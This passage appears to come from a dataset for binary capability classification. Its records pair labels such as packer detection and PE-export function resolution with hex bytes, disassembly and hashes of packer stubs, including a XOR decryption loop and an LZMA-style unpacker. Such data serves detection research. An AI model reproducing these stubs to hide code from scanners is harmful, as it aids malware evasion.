"Packed with generic packer"
] |
60909090909067e8000000005890909090900563a0400090902d09a0400090908b1890909090908b480490908b50089090909031139083c30490909090909039cb9090907cea909083c00c9090909090908338009090909075c490906190909067e9b3e1fcff
|
[
"pushal",
"nop",
"nop",
"nop",
"nop",
"nop",
"call 0x43300c",
"pop eax",
"nop",
"nop",
"nop",
"nop",
"nop",
"add eax, 0x40a063",
"nop",
"nop",
"sub eax, 0x40a009",
"nop",
"nop",
"mov ebx, dword [eax]",
"nop",
"nop",
"nop",
"nop",
"nop",
"mov ecx, dword [eax + 4]",
"nop",
"nop",
"mov edx, dword [eax + 8]",
"nop",
"nop",
"nop",
"nop",
"xor dword [ebx], edx",
"nop",
"add ebx, 4",
"nop",
"nop",
"nop",
"nop",
"nop",
"nop",
"cmp ebx, ecx",
"nop",
"nop",
"nop",
"jl 0x433030",
"nop",
"nop",
"add eax, 0xc",
"nop",
"nop",
"nop",
"nop",
"nop",
"nop",
"cmp dword [eax], 0",
"nop",
"nop",
"nop",
"nop",
"jne 0x43301e",
"nop",
"nop",
"popal",
"nop",
"nop",
"nop",
"jmp 0x431219"
] |
031fc86dcff7efceab8469876ba4d112cde2dc8f9364589f7687db2d3ce49161
|
0x424640
|
[
"Packed with generic packer",
"Resolve function by parsing pe exports"
] |
60be00b041008dbe0060feff5789e58d9c2480c1ffff31c05039dc75fb46465368942302005783c30453682f9600005683c3045350c7030300020090909090905557565383ec7c8b942490000000c744247400000000c6442473008bac249c0000008d420489442478b8010000000fb64a0289c3d3e389d949894c246c0fb64a01d3e048894424688b8424a80000000fb632c7450000000000c744246000000000c70000000000b80003000089742464c744245c01000000c744245801000000c744245401000000c7442450010000000fb64a0101f1d3e08d8836070000394c2474730e8b44247866c700000483c002e2f68b9c249400000031ffc7442448ffffffff89da039424980000008954244c31d23b5c244c0f847c0900000fb603c1e708424309c783fa047ee78b8c24a4000000394c24740f83640900008b7424742374246c8b4424608b542478c1e0048974244401f0817c2448ffffff008d2c4277183b5c244c0f842c090000c1642448080fb603c1e7084309c78b442448668b5500c1e80b0fb7ca0fafc139c70f83dd01000089442448b80008000029c88a4c2464c1f805be010000008d04020fb6542473668945008b442474234424688b6c2478d3e0b9080000002b4c2464d3fa01d069c000060000837c2460068d84056c0e0000894424140f8eca0000008b4424742b44245c8b9424a00000000fb6040289442440d16424408b4c24408d14368b6c241481e100010000817c2448ffffff008d444d00894c243c8d2c1077183b5c244c0f8460080000c1642448080fb603c1e7084309c78b442448668b8d00020000c1e80b0fb7f10fafc639c7732389442448b80008000029f089d6c1f805837c243c008d0401668985000200007422eb2e2944244829c789c88d720166c1e8056629c1837c243c0066898d00020000740e81feff0000000f8e57ffffffeb7981feff0000007f718d14368b6c241401d5817c2448ffffff0077183b5c244c0f84c4070000c1642448080fb603c1e7084309c78b442448668b4d00c1e80b0fb7f10fafc639c7731989442448b80008000029f089d6c1f8058d040166894500eb9f2944244829c789c88d720166c1e8056629c166894d00eb878b54247489f08b8c24a00000008844247388040a42837c246003895424747f0dc744246000000000e91b070000837c2460097f0a836c246003e90a070000836c246006e9000700008b4c244829c78b74246029c189d066c1e8056629c281f9ffffff00668955008b6c24788d7475008974243877163b5c244c0f84f10600000fb603c1e708c1e1084309c78b6c243889c8c1e80b668b95800100000fb7ea0fafc539c7735289c6b80008000029e88b6c2458c1f8058b4c24548d04028b542438894c24508b4c2478668982800100008b44245c896c24548944245831c0837c2460060f9fc081c1640600008d044089442460e97402000089ce29c729c689d066c1e8058b4c24386629c281feffffff006689918001000077163b5c244c0f844d0600000fb603c1e708c1e6084309c78b6c243889f2c1ea0b668b8d980100000fb7c10fafd039d70f83e3000000bd0008000089d629c5c74424340008000089e8c1f8058d04018b4c2438668981980100008b4424608b4c2444c1e0050344247881faffffff008d2c4877163b5c244c0f84db0500000fb603c1e708c1e6084309c7668b95e001000089f0c1e80b0fb7ca0fafc139c77360294c2434c17c2434058b74243489442448837c2474008d0432668985e00100000f849305000031c0837c2460068bac24a00000008b5424740f9fc08d440009894424608b4424742b44245c8a4405008844247388042a4289542474e93105000029c629c789d066c1e8056629c2668995e0010000e91f01000089c829d666c1e8058b6c24386629c129d781feffffff0066898d9801000077163b5c244c0f84160500000fb603c1e708c1e6084309c78b4c243889f0c1e80b668b91b00100000fb7ca0fafc139c7732389c6b80008000029c88b6c2438c1f8058d0402668985b00100008b442458e9a000000089f129c729c189d066c1e8056629c28b44243881f9ffffff00668990b001000077163b5c244c0f84a10400000fb603c1e708c1e1084309c78b74243889c8c1e80b668b96c80100000fb7ea0fafc539c7732089c6b80008000029e88b6c2438c1f8058d0402668985c80100008b442454eb2689ce29c729c689d066c1e8056629c28b442438668990c80100008b5424548b442450895424508b4c2458894c24548b6c245c8944245c896c245831c0837c2460068b4c24780f9fc081c1680a00008d4440088944246081feffffff0077163b5c244c0f84f30300000fb603c1e708c1e6084309c7668b1189f0c1e80b0fb7ea0fafc539c7732f89442448b80008000029e8c164244404c1f805c744242c000000008d04026689018b4424448d4c0104894c2410eb7229c629c789d066c1e8056629c281feffffff0066891177163b5c244c0f84840300000fb603c1e708c1e6084309c7668b510289f0c1e80b0fb7ea0fafc539c7733b89442448b80008000029e8c164244404c1f805c744242c080000008d04028b542444668941028d8c1104010000894c2410c744243003000000eb2f29c629c789d08974244866c1e805c744242c100000006629c2c7442430080000006689510281c104020000894c24108b4c2430ba01000000894c24288d2c128b74241001ee817c2448ffffff0077183b5c244c0f84d1020000c1642448080fb603c1e7084309c78b442448668b16c1e80b0fb7ca0fafc139c7731889442448b80008000029c8c1f8058d040289ea668906eb152944244829c789d066c1e8056629c26689168d55018b7424284e8974242875898a4c2430b801000000d3e029c20354242c837c2460038954240c0f8fe7010000834424600783fa0389d07e05b8030000008b742478c1e007c7442424060000008d84066003000089442408b8010000008d2c008b74240801ee817c2448ffffff0077183b5c244c0f840a020000c1642448080fb603c1e7084309c78b442448668b16c1e80b0fb7ca0fafc139c7731889442448b80008000029c8c1f8058d040266890689e8eb152944244829c789d066c1e8056629c28d45016689168b6c24244d896c242475898d50c083fa038914240f8e2701000089d089d6d1f883e6018d48ff83ce0283fa0d894c24207f1c8b6c2478d3e601d28934248d44750029d0055e05000089442404eb568d50fb817c2448ffffff0077183b5c244c0f8456010000c1642448080fb603c1e7084309c7d16c244801f63b7c244872072b7c244883ce014a75c88b442478c1e6048934240544060000c74424200400000089442404c744241c01000000b8010000008b6c240401c08944241801c5817c2448ffffff0077183b5c244c0f84ea000000c1642448080fb603c1e7084309c78b442448668b5500c1e80b0fb7f20fafc639c7731b89442448b80008000029f0c1f8058d0402668945008b442418eb1f2944244829c789d066c1e8056629c28b442418668955008b54241c400914248b4c2420d164241c49894c24200f8570ffffff8b3424468974245c74598b4c240c8b6c247483c102396c245c775f8b8424a000000089ea2b44245c039424a00000008d34288a064688442473880242ff44247449740f8bac24a4000000396c247472e2eb118b8424a4000000394424740f82bbf6ffff817c2448ffffff0077153b5c244cb8010000007429eb07b801000000eb20432b9c249400000031c08b94249c0000008b4c2474891a8b9c24a8000000890b83c47c5b5e5f5d0373fc037bf831c08d8c2400ffffff89ec5039cc75fb89ec31c95e89f7b9c80000008a07472ce83c0177f7803f0475f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe002002008b0709c0743c8b5f048d84300050020001f35083c708ff9664500200958a074708c074dc89f95748f2ae55ff966850020009c07407890383c304ebe1ff96785002008bae6c5002008dbe00f0ffffbb0010000050546a045357ffd58d87ef01000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e922befdff
|
[
"pushal",
"mov esi, section..text",
"lea edi, [esi - 0x1a000]",
"push edi",
"mov ebp, esp",
"lea ebx, [esp - 0x3e80]",
"xor eax, eax",
"push eax",
"cmp esp, ebx",
"jne 0x424658",
"inc esi",
"inc esi",
"push ebx",
"push 0x22394",
"push edi",
"add ebx, 4",
"push ebx",
"push 0x962f",
"push esi",
"add ebx, 4",
"push ebx",
"push eax",
"mov dword [ebx], 0x20003",
"nop",
"nop",
"nop",
"nop",
"nop",
"push ebp",
"push edi",
"push esi",
"push ebx",
"sub esp, 0x7c",
"mov edx, dword [esp + 0x90]",
"mov dword [esp + 0x74], 0",
"mov byte [esp + 0x73], 0",
"mov ebp, dword [esp + 0x9c]",
"lea eax, [edx + 4]",
"mov dword [esp + 0x78], eax",
"mov eax, 1",
"movzx ecx, byte [edx + 2]",
"mov ebx, eax",
"shl ebx, cl",
"mov ecx, ebx",
"dec ecx",
"mov dword [esp + 0x6c], ecx",
"movzx ecx, byte [edx + 1]",
"shl eax, cl",
"dec eax",
"mov dword [esp + 0x68], eax",
"mov eax, dword [esp + 0xa8]",
"movzx esi, byte [edx]",
"mov dword [ebp], 0",
"mov dword [esp + 0x60], 0",
"mov dword [eax], 0",
"mov eax, 0x300",
"mov dword [esp + 0x64], esi",
"mov dword [esp + 0x5c], 1",
"mov dword [esp + 0x58], 1",
"mov dword [esp + 0x54], 1",
"mov dword [esp + 0x50], 1",
"movzx ecx, byte [edx + 1]",
"add ecx, esi",
"shl eax, cl",
"lea ecx, [eax + 0x736]",
"cmp dword [esp + 0x74], ecx",
"jae 0x424732",
"mov eax, dword [esp + 0x78]",
"mov word [eax], reloc.gdi32.dll_SetBkColor",
"add eax, 2",
"loop 0x424728",
"mov ebx, dword [esp + 0x94]",
"xor edi, edi",
"mov dword [esp + 0x48], 0xffffffff",
"mov edx, ebx",
"add edx, dword [esp + 0x98]",
"mov dword [esp + 0x4c], edx",
"xor edx, edx",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"inc edx",
"inc ebx",
"or edi, eax",
"cmp edx, 4",
"jle 0x424752",
"mov ecx, dword [esp + 0xa4]",
"cmp dword [esp + 0x74], ecx",
"jae 0x4250e0",
"mov esi, dword [esp + 0x74]",
"and esi, dword [esp + 0x6c]",
"mov eax, dword [esp + 0x60]",
"mov edx, dword [esp + 0x78]",
"shl eax, 4",
"mov dword [esp + 0x44], esi",
"add eax, esi",
"cmp dword [esp + 0x48], 0xffffff",
"lea ebp, [edx + eax*2]",
"ja 0x4247ba",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"shl dword [esp + 0x48], 8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"inc ebx",
"or edi, eax",
"mov eax, dword [esp + 0x48]",
"mov dx, word [ebp]",
"shr eax, 0xb",
"movzx ecx, dx",
"imul eax, ecx",
"cmp edi, eax",
"jae 0x4249b0",
"mov dword [esp + 0x48], eax",
"mov eax, 0x800",
"sub eax, ecx",
"mov cl, byte [esp + 0x64]",
"sar eax, 5",
"mov esi, 1",
"lea eax, [edx + eax]",
"movzx edx, byte [esp + 0x73]",
"mov word [ebp], ax",
"mov eax, dword [esp + 0x74]",
"and eax, dword [esp + 0x68]",
"mov ebp, dword [esp + 0x78]",
"shl eax, cl",
"mov ecx, 8",
"sub ecx, dword [esp + 0x64]",
"sar edx, cl",
"add eax, edx",
"imul eax, eax, 0x600",
"cmp dword [esp + 0x60], 6",
"lea eax, [ebp + eax + 0xe6c]",
"mov dword [esp + 0x14], eax",
"jle 0x4248f7",
"mov eax, dword [esp + 0x74]",
"sub eax, dword [esp + 0x5c]",
"mov edx, dword [esp + 0xa0]",
"movzx eax, byte [edx + eax]",
"mov dword [esp + 0x40], eax",
"shl dword [esp + 0x40], 1",
"mov ecx, dword [esp + 0x40]",
"lea edx, [esi + esi]",
"mov ebp, dword [esp + 0x14]",
"and ecx, 0x100",
"cmp dword [esp + 0x48], 0xffffff",
"lea eax, [ebp + ecx*2]",
"mov dword [esp + 0x3c], ecx",
"lea ebp, [eax + edx]",
"ja 0x424886",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"shl dword [esp + 0x48], 8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"inc ebx",
"or edi, eax",
"mov eax, dword [esp + 0x48]",
"mov cx, word [ebp + reloc.gdi32.dll_SetBkColor]",
"shr eax, 0xb",
"movzx esi, cx",
"imul eax, esi",
"cmp edi, eax",
"jae 0x4248c1",
"mov dword [esp + 0x48], eax",
"mov eax, 0x800",
"sub eax, esi",
"mov esi, edx",
"sar eax, 5",
"cmp dword [esp + 0x3c], 0",
"lea eax, [ecx + eax]",
"mov word [ebp + reloc.gdi32.dll_SetBkColor], ax",
"je 0x4248e1",
"jmp 0x4248ef",
"sub dword [esp + 0x48], eax",
"sub edi, eax",
"mov eax, ecx",
"lea esi, [edx + 1]",
"shr ax, 5",
"sub cx, ax",
"cmp dword [esp + 0x3c], 0",
"mov word [ebp + reloc.gdi32.dll_SetBkColor], cx",
"je 0x4248ef",
"cmp esi, 0xff",
"jle 0x424844",
"jmp 0x424968",
"cmp esi, 0xff",
"jg 0x424968",
"lea edx, [esi + esi]",
"mov ebp, dword [esp + 0x14]",
"add ebp, edx",
"cmp dword [esp + 0x48], 0xffffff",
"ja 0x424922",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"shl dword [esp + 0x48], 8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"inc ebx",
"or edi, eax",
"mov eax, dword [esp + 0x48]",
"mov cx, word [ebp]",
"shr eax, 0xb",
"movzx esi, cx",
"imul eax, esi",
"cmp edi, eax",
"jae 0x424950",
"mov dword [esp + 0x48], eax",
"mov eax, 0x800",
"sub eax, esi",
"mov esi, edx",
"sar eax, 5",
"lea eax, [ecx + eax]",
"mov word [ebp], ax",
"jmp 0x4248ef",
"sub dword [esp + 0x48], eax",
"sub edi, eax",
"mov eax, ecx",
"lea esi, [edx + 1]",
"shr ax, 5",
"sub cx, ax",
"mov word [ebp], cx",
"jmp 0x4248ef",
"mov edx, dword [esp + 0x74]",
"mov eax, esi",
"mov ecx, dword [esp + 0xa0]",
"mov byte [esp + 0x73], al",
"mov byte [edx + ecx], al",
"inc edx",
"cmp dword [esp + 0x60], 3",
"mov dword [esp + 0x74], edx",
"jg 0x424995",
"mov dword [esp + 0x60], 0",
"jmp 0x4250b0",
"cmp dword [esp + 0x60], 9",
"jg 0x4249a6",
"sub dword [esp + 0x60], 3",
"jmp 0x4250b0",
"sub dword [esp + 0x60], 6",
"jmp 0x4250b0",
"mov ecx, dword [esp + 0x48]",
"sub edi, eax",
"mov esi, dword [esp + 0x60]",
"sub ecx, eax",
"mov eax, edx",
"shr ax, 5",
"sub dx, ax",
"cmp ecx, 0xffffff",
"mov word [ebp], dx",
"mov ebp, dword [esp + 0x78]",
"lea esi, [ebp + esi*2]",
"mov dword [esp + 0x38], esi",
"ja 0x4249f3",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"shl ecx, 8",
"inc ebx",
"or edi, eax",
"mov ebp, dword [esp + 0x38]",
"mov eax, ecx",
"shr eax, 0xb",
"mov dx, word [ebp + reloc.gdi32.dll_SetBkColor]",
"movzx ebp, dx",
"imul eax, ebp",
"cmp edi, eax",
"jae 0x424a5f",
"mov esi, eax",
"mov eax, 0x800",
"sub eax, ebp",
"mov ebp, dword [esp + 0x58]",
"sar eax, 5",
"mov ecx, dword [esp + 0x54]",
"lea eax, [edx + eax]",
"mov edx, dword [esp + 0x38]",
"mov dword [esp + 0x50], ecx",
"mov ecx, dword [esp + 0x78]",
"mov word [edx + reloc.gdi32.dll_SetBkColor], ax",
"mov eax, dword [esp + 0x5c]",
"mov dword [esp + 0x54], ebp",
"mov dword [esp + 0x58], eax",
"xor eax, eax",
"cmp dword [esp + 0x60], 6",
"setg al",
"add ecx, 0x664",
"lea eax, [eax + eax*2]",
"mov dword [esp + 0x60], eax",
"jmp 0x424cd3",
"mov esi, ecx",
"sub edi, eax",
"sub esi, eax",
"mov eax, edx",
"shr ax, 5",
"mov ecx, dword [esp + 0x38]",
"sub dx, ax",
"cmp esi, 0xffffff",
"mov word [ecx + reloc.gdi32.dll_SetBkColor], dx",
"ja 0x424a97",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"shl esi, 8",
"inc ebx",
"or edi, eax",
"mov ebp, dword [esp + 0x38]",
"mov edx, esi",
"shr edx, 0xb",
"mov cx, word [ebp + reloc.gdi32.dll_SetBkColor]",
"movzx eax, cx",
"imul edx, eax",
"cmp edi, edx",
"jae 0x424b98",
"mov ebp, 0x800",
"mov esi, edx",
"sub ebp, eax",
"mov dword [esp + 0x34], 0x800",
"mov eax, ebp",
"sar eax, 5",
"lea eax, [ecx + eax]",
"mov ecx, dword [esp + 0x38]",
"mov word [ecx + reloc.gdi32.dll_SetBkColor], ax",
"mov eax, dword [esp + 0x60]",
"mov ecx, dword [esp + 0x44]",
"shl eax, 5",
"add eax, dword [esp + 0x78]",
"cmp edx, 0xffffff",
"lea ebp, [eax + ecx*2]",
"ja 0x424b09",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"shl esi, 8",
"inc ebx",
"or edi, eax",
"mov dx, word [ebp + reloc.gdi32.dll_SetBkColor]",
"mov eax, esi",
"shr eax, 0xb",
"movzx ecx, dx",
"imul eax, ecx",
"cmp edi, eax",
"jae 0x424b7f",
"sub dword [esp + 0x34], ecx",
"sar dword [esp + 0x34], 5",
"mov esi, dword [esp + 0x34]",
"mov dword [esp + 0x48], eax",
"cmp dword [esp + 0x74], 0",
"lea eax, [edx + esi]",
"mov word [ebp + reloc.gdi32.dll_SetBkColor], ax",
"je 0x4250d8",
"xor eax, eax",
"cmp dword [esp + 0x60], 6",
"mov ebp, dword [esp + 0xa0]",
"mov edx, dword [esp + 0x74]",
"setg al",
"lea eax, [eax + eax + 9]",
"mov dword [esp + 0x60], eax",
"mov eax, dword [esp + 0x74]",
"sub eax, dword [esp + 0x5c]",
"mov al, byte [ebp + eax]",
"mov byte [esp + 0x73], al",
"mov byte [edx + ebp], al",
"inc edx",
"mov dword [esp + 0x74], edx",
"jmp 0x4250b0",
"sub esi, eax",
"sub edi, eax",
"mov eax, edx",
"shr ax, 5",
"sub dx, ax",
"mov word [ebp + reloc.gdi32.dll_SetBkColor], dx",
"jmp 0x424cb7",
"mov eax, ecx",
"sub esi, edx",
"shr ax, 5",
"mov ebp, dword [esp + 0x38]",
"sub cx, ax",
"sub edi, edx",
"cmp esi, 0xffffff",
"mov word [ebp + reloc.gdi32.dll_SetBkColor], cx",
"ja 0x424bce",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"shl esi, 8",
"inc ebx",
"or edi, eax",
"mov ecx, dword [esp + 0x38]",
"mov eax, esi",
"shr eax, 0xb",
"mov dx, word [ecx + reloc.gdi32.dll_SetBkColor]",
"movzx ecx, dx",
"imul eax, ecx",
"cmp edi, eax",
"jae 0x424c0b",
"mov esi, eax",
"mov eax, 0x800",
"sub eax, ecx",
"mov ebp, dword [esp + 0x38]",
"sar eax, 5",
"lea eax, [edx + eax]",
"mov word [ebp + reloc.gdi32.dll_SetBkColor], ax",
"mov eax, dword [esp + 0x58]",
"jmp 0x424cab",
"mov ecx, esi",
"sub edi, eax",
"sub ecx, eax",
"mov eax, edx",
"shr ax, 5",
"sub dx, ax",
"mov eax, dword [esp + 0x38]",
"cmp ecx, 0xffffff",
"mov word [eax + reloc.gdi32.dll_SetBkColor], dx",
"ja 0x424c43",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"shl ecx, 8",
"inc ebx",
"or edi, eax",
"mov esi, dword [esp + 0x38]",
"mov eax, ecx",
"shr eax, 0xb",
"mov dx, word [esi + reloc.gdi32.dll_SetBkColor]",
"movzx ebp, dx",
"imul eax, ebp",
"cmp edi, eax",
"jae 0x424c7d",
"mov esi, eax",
"mov eax, 0x800",
"sub eax, ebp",
"mov ebp, dword [esp + 0x38]",
"sar eax, 5",
"lea eax, [edx + eax]",
"mov word [ebp + reloc.gdi32.dll_SetBkColor], ax",
"mov eax, dword [esp + 0x54]",
"jmp 0x424ca3",
"mov esi, ecx",
"sub edi, eax",
"sub esi, eax",
"mov eax, edx",
"shr ax, 5",
"sub dx, ax",
"mov eax, dword [esp + 0x38]",
"mov word [eax + reloc.gdi32.dll_SetBkColor], dx",
"mov edx, dword [esp + 0x54]",
"mov eax, dword [esp + 0x50]",
"mov dword [esp + 0x50], edx",
"mov ecx, dword [esp + 0x58]",
"mov dword [esp + 0x54], ecx",
"mov ebp, dword [esp + 0x5c]",
"mov dword [esp + 0x5c], eax",
"mov dword [esp + 0x58], ebp",
"xor eax, eax",
"cmp dword [esp + 0x60], 6",
"mov ecx, dword [esp + 0x78]",
"setg al",
"add ecx, 0xa68",
"lea eax, [eax + eax*2 + 8]",
"mov dword [esp + 0x60], eax",
"cmp esi, 0xffffff",
"ja 0x424cf1",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"shl esi, 8",
"inc ebx",
"or edi, eax",
"mov dx, word [ecx]",
"mov eax, esi",
"shr eax, 0xb",
"movzx ebp, dx",
"imul eax, ebp",
"cmp edi, eax",
"jae 0x424d32",
"mov dword [esp + 0x48], eax",
"mov eax, 0x800",
"sub eax, ebp",
"shl dword [esp + 0x44], 4",
"sar eax, 5",
"mov dword [esp + 0x2c], 0",
"lea eax, [edx + eax]",
"mov word [ecx], ax",
"mov eax, dword [esp + 0x44]",
"lea ecx, [ecx + eax + 4]",
"mov dword [esp + 0x10], ecx",
"jmp 0x424da4",
"sub esi, eax",
"sub edi, eax",
"mov eax, edx",
"shr ax, 5",
"sub dx, ax",
"cmp esi, 0xffffff",
"mov word [ecx], dx",
"ja 0x424d60",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"shl esi, 8",
"inc ebx",
"or edi, eax",
"mov dx, word [ecx + 2]",
"mov eax, esi",
"shr eax, 0xb",
"movzx ebp, dx",
"imul eax, ebp",
"cmp edi, eax",
"jae 0x424dae",
"mov dword [esp + 0x48], eax",
"mov eax, 0x800",
"sub eax, ebp",
"shl dword [esp + 0x44], 4",
"sar eax, 5",
"mov dword [esp + 0x2c], 8",
"lea eax, [edx + eax]",
"mov edx, dword [esp + 0x44]",
"mov word [ecx + 2], ax",
"lea ecx, [ecx + edx + 0x104]",
"mov dword [esp + 0x10], ecx",
"mov dword [esp + 0x30], 3",
"jmp 0x424ddd",
"sub esi, eax",
"sub edi, eax",
"mov eax, edx",
"mov dword [esp + 0x48], esi",
"shr ax, 5",
"mov dword [esp + 0x2c], 0x10",
"sub dx, ax",
"mov dword [esp + 0x30], 8",
"mov word [ecx + 2], dx",
"add ecx, 0x204",
"mov dword [esp + 0x10], ecx",
"mov ecx, dword [esp + 0x30]",
"mov edx, 1",
"mov dword [esp + 0x28], ecx",
"lea ebp, [edx + edx]",
"mov esi, dword [esp + 0x10]",
"add esi, ebp",
"cmp dword [esp + 0x48], 0xffffff",
"ja 0x424e15",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"shl dword [esp + 0x48], 8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"inc ebx",
"or edi, eax",
"mov eax, dword [esp + 0x48]",
"mov dx, word [esi]",
"shr eax, 0xb",
"movzx ecx, dx",
"imul eax, ecx",
"cmp edi, eax",
"jae 0x424e41",
"mov dword [esp + 0x48], eax",
"mov eax, 0x800",
"sub eax, ecx",
"sar eax, 5",
"lea eax, [edx + eax]",
"mov edx, ebp",
"mov word [esi], ax",
"jmp 0x424e56",
"sub dword [esp + 0x48], eax",
"sub edi, eax",
"mov eax, edx",
"shr ax, 5",
"sub dx, ax",
"mov word [esi], dx",
"lea edx, [ebp + 1]",
"mov esi, dword [esp + 0x28]",
"dec esi",
"mov dword [esp + 0x28], esi",
"jne 0x424dea",
"mov cl, byte [esp + 0x30]",
"mov eax, 1",
"shl eax, cl",
"sub edx, eax",
"add edx, dword [esp + 0x2c]",
"cmp dword [esp + 0x60], 3",
"mov dword [esp + 0xc], edx",
"jg 0x425068",
"add dword [esp + 0x60], 7",
"cmp edx, 3",
"mov eax, edx",
"jle 0x424e92",
"mov eax, 3",
"mov esi, dword [esp + 0x78]",
"shl eax, 7",
"mov dword [esp + 0x24], 6",
"lea eax, [esi + eax + 0x360]",
"mov dword [esp + 8], eax",
"mov eax, 1",
"lea ebp, [eax + eax]",
"mov esi, dword [esp + 8]",
"add esi, ebp",
"cmp dword [esp + 0x48], 0xffffff",
"ja 0x424edc",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"shl dword [esp + 0x48], 8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"inc ebx",
"or edi, eax",
"mov eax, dword [esp + 0x48]",
"mov dx, word [esi]",
"shr eax, 0xb",
"movzx ecx, dx",
"imul eax, ecx",
"cmp edi, eax",
"jae 0x424f08",
"mov dword [esp + 0x48], eax",
"mov eax, 0x800",
"sub eax, ecx",
"sar eax, 5",
"lea eax, [edx + eax]",
"mov word [esi], ax",
"mov eax, ebp",
"jmp 0x424f1d",
"sub dword [esp + 0x48], eax",
"sub edi, eax",
"mov eax, edx",
"shr ax, 5",
"sub dx, ax",
"lea eax, [ebp + 1]",
"mov word [esi], dx",
"mov ebp, dword [esp + 0x24]",
"dec ebp",
"mov dword [esp + 0x24], ebp",
"jne 0x424eb1",
"lea edx, [eax - 0x40]",
"cmp edx, 3",
"mov dword [esp], edx",
"jle 0x42505e",
"mov eax, edx",
"mov esi, edx",
"sar eax, 1",
"and esi, 1",
"lea ecx, [eax - 1]",
"or esi, 2",
"cmp edx, 0xd",
"mov dword [esp + 0x20], ecx",
"jg 0x424f6b",
"mov ebp, dword [esp + 0x78]",
"shl esi, cl",
"add edx, edx",
"mov dword [esp], esi",
"lea eax, [ebp + esi*2]",
"sub eax, edx",
"add eax, 0x55e",
"mov dword [esp + 4], eax",
"jmp 0x424fc1",
"lea edx, [eax - 5]",
"cmp dword [esp + 0x48], 0xffffff",
"ja 0x424f90",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"shl dword [esp + 0x48], 8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"inc ebx",
"or edi, eax",
"shr dword [esp + 0x48], 1",
"add esi, esi",
"cmp edi, dword [esp + 0x48]",
"jb 0x424fa3",
"sub edi, dword [esp + 0x48]",
"or esi, 1",
"dec edx",
"jne 0x424f6e",
"mov eax, dword [esp + 0x78]",
"shl esi, 4",
"mov dword [esp], esi",
"add eax, 0x644",
"mov dword [esp + 0x20], 4",
"mov dword [esp + 4], eax",
"mov dword [esp + 0x1c], 1",
"mov eax, 1",
"mov ebp, dword [esp + 4]",
"add eax, eax",
"mov dword [esp + 0x18], eax",
"add ebp, eax",
"cmp dword [esp + 0x48], 0xffffff",
"ja 0x424ffc",
"cmp ebx, dword [esp + 0x4c]",
"je 0x4250d8",
"shl dword [esp + 0x48], 8",
"movzx eax, byte [ebx]",
"shl edi, 8",
"inc ebx",
"or edi, eax",
"mov eax, dword [esp + 0x48]",
"mov dx, word [ebp]",
"shr eax, 0xb",
"movzx esi, dx",
"imul eax, esi",
"cmp edi, eax",
"jae 0x42502c",
"mov dword [esp + 0x48], eax",
"mov eax, 0x800",
"sub eax, esi",
"sar eax, 5",
"lea eax, [edx + eax]",
"mov word [ebp], ax",
"mov eax, dword [esp + 0x18]",
"jmp 0x42504b",
"sub dword [esp + 0x48], eax",
"sub edi, eax",
"mov eax, edx",
"shr ax, 5",
"sub dx, ax",
"mov eax, dword [esp + 0x18]",
"mov word [ebp], dx",
"mov edx, dword [esp + 0x1c]",
"inc eax",
"or dword [esp], edx",
"mov ecx, dword [esp + 0x20]",
"shl dword [esp + 0x1c], 1",
"dec ecx",
"mov dword [esp + 0x20], ecx",
"jne 0x424fce",
"mov esi, dword [esp]",
"inc esi",
"mov dword [esp + 0x5c], esi",
"je 0x4250c1",
"mov ecx, dword [esp + 0xc]",
"mov ebp, dword [esp + 0x74]",
"add ecx, 2",
"cmp dword [esp + 0x5c], ebp",
"ja 0x4250d8",
"mov eax, dword [esp + 0xa0]",
"mov edx, ebp",
"sub eax, dword [esp + 0x5c]",
"add edx, dword [esp + 0xa0]",
"lea esi, [eax + ebp]",
"mov al, byte [esi]",
"inc esi",
"mov byte [esp + 0x73], al",
"mov byte [edx], al",
"inc edx",
"inc dword [esp + 0x74]",
"dec ecx",
"je 0x4250b0",
"mov ebp, dword [esp + 0xa4]",
"cmp dword [esp + 0x74], ebp",
"jb 0x425090",
"jmp 0x4250c1",
"mov eax, dword [esp + 0xa4]",
"cmp dword [esp + 0x74], eax",
"jb 0x42477c",
"cmp dword [esp + 0x48], 0xffffff",
"ja 0x4250e0",
"cmp ebx, dword [esp + 0x4c]",
"mov eax, 1",
"je 0x4250ff",
"jmp 0x4250df",
"mov eax, 1",
"jmp 0x4250ff",
"inc ebx",
"sub ebx, dword [esp + 0x94]",
"xor eax, eax",
"mov edx, dword [esp + 0x9c]",
"mov ecx, dword [esp + 0x74]",
"mov dword [edx], ebx",
"mov ebx, dword [esp + 0xa8]",
"mov dword [ebx], ecx",
"add esp, 0x7c",
"pop ebx",
"pop esi",
"pop edi",
"pop ebp",
"add esi, dword [ebx - 4]",
"add edi, dword [ebx - 8]",
"xor eax, eax",
"lea ecx, [esp - 0x100]",
"mov esp, ebp",
"push eax",
"cmp esp, ecx",
"jne 0x425117",
"mov esp, ebp",
"xor ecx, ecx",
"pop esi",
"mov edi, esi",
"mov ecx, 0xc8",
"mov al, byte [edi]",
"inc edi",
"sub al, 0xe8",
"cmp al, 1",
